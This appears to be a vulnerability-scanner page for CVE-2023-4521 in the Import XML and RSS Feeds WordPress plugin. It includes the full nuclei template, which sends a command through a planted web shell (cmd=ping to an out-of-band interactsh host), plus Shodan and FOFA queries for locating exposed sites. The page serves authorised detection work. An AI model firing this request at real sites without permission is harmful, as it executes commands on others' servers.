Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE

criticalseverity

9.8CVSS score

40.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell.

Impact

Allows unauthenticated attackers to execute arbitrary code on the target system.

Fix

Update the Import XML and RSS Feeds WordPress Plugin to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/import-xml-feed/readme.txt
Positive when: contains "Import XML and RSS Feeds"
Send: GET {{BaseURL}}/wp-content/plugins/import-xml-feed/uploads/169227090864de013cac47b.php?cmd=ping+{{interactsh-url}}
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2023-4521 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-4521

info:
  name: Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE
  author: princechaddha
  severity: critical
  description: The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell.
  impact: |
    Allows unauthenticated attackers to execute arbitrary code on the target system.
  remediation: |
    Update the Import XML and RSS Feeds WordPress Plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/de2cdb38-3a9f-448e-b564-a798d1e93481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4521
    epss-score: 0.40828
    epss-percentile: 0.98668
    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mooveagency
    product: "import_xml_and_rss_feeds"
    framework: wordpress
    shodan-query: "http.html:\"import-xml-feed\""
    fofa-query: "body=\"import-xml-feed\""
  tags: cve,cve2023,wordpress,wp,wpscan,unauth,rce,mooveagency,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Import XML and RSS Feeds'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/import-xml-feed/uploads/169227090864de013cac47b.php?cmd=ping+{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

https://wpscan.com/vulnerability/de2cdb38-3a9f-448e-b564-a798d1e93481

Use this check only on systems you are authorised to test. Where the data comes from